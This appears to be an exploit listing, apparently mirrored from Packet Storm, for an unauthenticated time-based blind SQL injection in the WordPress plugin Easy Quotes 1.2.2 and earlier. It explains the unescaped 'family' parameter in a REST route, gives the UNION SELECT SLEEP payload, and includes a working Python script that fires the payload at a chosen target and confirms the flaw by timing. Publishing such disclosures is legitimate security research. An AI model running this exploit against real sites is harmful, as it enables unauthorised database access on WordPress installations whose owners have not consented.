Share
## https://sploitus.com/exploit?id=PACKETSTORM:226445
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin Easy Quotes <= 1.2.2 - Unauthenticated Time-Based Blind SQL Injection (REST)
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/easy-quotes/
# Software Link: https://downloads.wordpress.org/plugin/easy-quotes.1.2.2.zip
# Version: 1.2.2 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2025-26943
r"""
Easy Quotes <= 1.2.2 registers REST routes under layart/v1 with permission_callback => __return_true
(includes/quotes-rest-route.php:25). GET /wp-json/layart/v1/font-variants?family=<x> passes `family`
(read via $request->get_param, which WP REST delivers UNSLASHED) straight into a query with no
escaping/prepare (includes/quotes-data.php:302):
return $wpdb->get_row("SELECT * FROM `{$tablename}` WHERE `family`='".$family."';");
-> unauthenticated SQL injection in a single-quoted string. The families table has 5 columns, so a
5-column UNION SELECT executes an injected SLEEP() exactly once.
Payload: x' UNION SELECT SLEEP(5),2,3,4,5-- -
Prior state: none โ the plugin creates and seeds its font tables on activation.
"""
import argparse, sys, time, urllib.parse
import requests
requests.packages.urllib3.disable_warnings()
def probe(base, seconds):
inj = "x' UNION SELECT SLEEP(%d),2,3,4,5-- -" % seconds
q = "family=" + urllib.parse.quote(inj)
t = time.time()
requests.get(base + "/wp-json/layart/v1/font-variants?" + q, verify=False, timeout=60)
return time.time() - t
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--sleep", type=int, default=5)
args = ap.parse_args()
base = args.target.rstrip("/")
# The first request after a fresh plugin activation can spend several seconds
# initializing/seeding plugin data. Do not use that cold-start latency as the
# control sample for a time-based oracle.
probe(base, 0)
t0 = min(probe(base, 0), probe(base, 0))
t5 = probe(base, args.sleep)
print(f"[*] Target: {base}")
print(f"[*] SLEEP(0): {t0:.2f}s | SLEEP({args.sleep}): {t5:.2f}s")
if (t5 - t0) >= args.sleep - 1.5:
print(f"\n[+] SQL INJECTION CONFIRMED โ unauthenticated attacker-controlled SLEEP({args.sleep}) "
f"delayed the REST response by {t5 - t0:.2f}s (family param).")
return 0
print("\n[-] not confirmed"); return 1
if __name__ == "__main__":
sys.exit(main())